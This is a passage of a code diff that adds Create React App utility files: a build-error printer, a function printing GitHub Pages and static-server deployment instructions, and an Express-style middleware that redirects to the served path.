+ console.log('Failed to minify the bundle.', err);
39
+ }
40
+ console.log('Read more here: https://cra.link/failed-to-minify');
41
+ } else {
42
+ console.log((message || err) + '\n');
43
+ }
44
+ console.log();
45
+ };
@@ -0,0 +1,128 @@
1
+ /**
2
+ * Copyright (c) 2015-present, Facebook, Inc.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+
8
+ 'use strict';
9
+
10
+ const chalk = require('chalk');
11
+ const url = require('url');
12
+ const globalModules = require('global-modules');
13
+ const fs = require('fs');
14
+
15
+ function printHostingInstructions(
16
+ appPackage,
17
+ publicUrl,
18
+ publicPath,
19
+ buildFolder,
20
+ useYarn
21
+ ) {
22
+ if (publicUrl && publicUrl.includes('.github.io/')) {
23
+ // "homepage": "http://user.github.io/project"
24
+ const publicPathname = url.parse(publicPath).pathname;
25
+ const hasDeployScript =
26
+ typeof appPackage.scripts !== 'undefined' &&
27
+ typeof appPackage.scripts.deploy !== 'undefined';
28
+ printBaseMessage(buildFolder, publicPathname);
29
+
30
+ printDeployInstructions(publicUrl, hasDeployScript, useYarn);
31
+ } else if (publicPath !== '/') {
32
+ // "homepage": "http://mywebsite.com/project"
33
+ printBaseMessage(buildFolder, publicPath);
34
+ } else {
35
+ // "homepage": "http://mywebsite.com"
36
+ // or no homepage
37
+ printBaseMessage(buildFolder, publicUrl);
38
+
39
+ printStaticServerInstructions(buildFolder, useYarn);
40
+ }
41
+ console.log();
42
+ console.log('Find out more about deployment here:');
43
+ console.log();
44
+ console.log(` ${chalk.yellow('https://cra.link/deployment')}`);
45
+ console.log();
46
+ }
47
+
48
+ function printBaseMessage(buildFolder, hostingLocation) {
49
+ console.log(
50
+ `The project was built assuming it is hosted at ${chalk.green(
51
+ hostingLocation || 'the server root'
52
+ )}.`
53
+ );
54
+ console.log(
55
+ `You can control this with the ${chalk.green(
56
+ 'homepage'
57
+ )} field in your ${chalk.cyan('package.json')}.`
58
+ );
59
+
60
+ if (!hostingLocation) {
61
+ console.log('For example, add this to build it for GitHub Pages:');
62
+ console.log();
63
+
64
+ console.log(
65
+ ` ${chalk.green('"homepage"')} ${chalk.cyan(':')} ${chalk.green(
66
+ '"http://myname.github.io/myapp"'
67
+ )}${chalk.cyan(',')}`
68
+ );
69
+ }
70
+ console.log();
71
+ console.log(`The ${chalk.cyan(buildFolder)} folder is ready to be deployed.`);
72
+ }
73
+
74
+ function printDeployInstructions(publicUrl, hasDeployScript, useYarn) {
75
+ console.log(`To publish it at ${chalk.green(publicUrl)} , run:`);
76
+ console.log();
77
+
78
+ // If script deploy has been added to package.json, skip the instructions
79
+ if (!hasDeployScript) {
80
+ if (useYarn) {
81
+ console.log(` ${chalk.cyan('yarn')} add --dev gh-pages`);
82
+ } else {
83
+ console.log(` ${chalk.cyan('npm')} install --save-dev gh-pages`);
84
+ }
85
+ console.log();
86
+
87
+ console.log(
88
+ `Add the following script in your ${chalk.cyan('package.json')}.`
89
+ );
90
+ console.log();
91
+
92
+ console.log(` ${chalk.dim('// ...')}`);
93
+ console.log(` ${chalk.yellow('"scripts"')}: {`);
94
+ console.log(` ${chalk.dim('// ...')}`);
95
+ console.log(
96
+ ` ${chalk.yellow('"predeploy"')}: ${chalk.yellow(
97
+ `"${useYarn ? 'yarn' : 'npm run'} build",`
98
+ )}`
99
+ );
100
+ console.log(
101
+ ` ${chalk.yellow('"deploy"')}: ${chalk.yellow(
102
+ '"gh-pages -d build"'
103
+ )}`
104
+ );
105
+ console.log(' }');
106
+ console.log();
107
+
108
+ console.log('Then run:');
109
+ console.log();
110
+ }
111
+ console.log(` ${chalk.cyan(useYarn ? 'yarn' : 'npm')} run deploy`);
112
+ }
113
+
114
+ function printStaticServerInstructions(buildFolder, useYarn) {
115
+ console.log('You may serve it with a static server:');
116
+ console.log();
117
+
118
+ if (!fs.existsSync(`${globalModules}/serve`)) {
119
+ if (useYarn) {
120
+ console.log(` ${chalk.cyan('yarn')} global add serve`);
121
+ } else {
122
+ console.log(` ${chalk.cyan('npm')} install -g serve`);
123
+ }
124
+ }
125
+ console.log(` ${chalk.cyan('serve')} -s ${buildFolder}`);
126
+ }
127
+
128
+ module.exports = printHostingInstructions;
@@ -0,0 +1,26 @@
1
+ /**
2
+ * Copyright (c) 2015-present, Facebook, Inc.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+ 'use strict';
8
+
9
+ const path = require('path');
10
+
11
+ module.exports = function createRedirectServedPathMiddleware(servedPath) {
12
+ // remove end slash so user can land on `/test` instead of `/test/`
13
+ servedPath = servedPath.slice(0, -1);
14
+ return function redirectServedPathMiddleware(req, res, next) {
15
+ if (
16
+ servedPath === '' ||
17
+ req.url === servedPath ||
18
+ req.url.startsWith(servedPath)
19
+ ) {
20
+ next();
21
+ } else {
22
+ const newPath = path.join(servedPath, req.path !== '/' ? req.path : '');
23
+ res.redirect(newPath);
24
+ }
25
+ };
26
+ };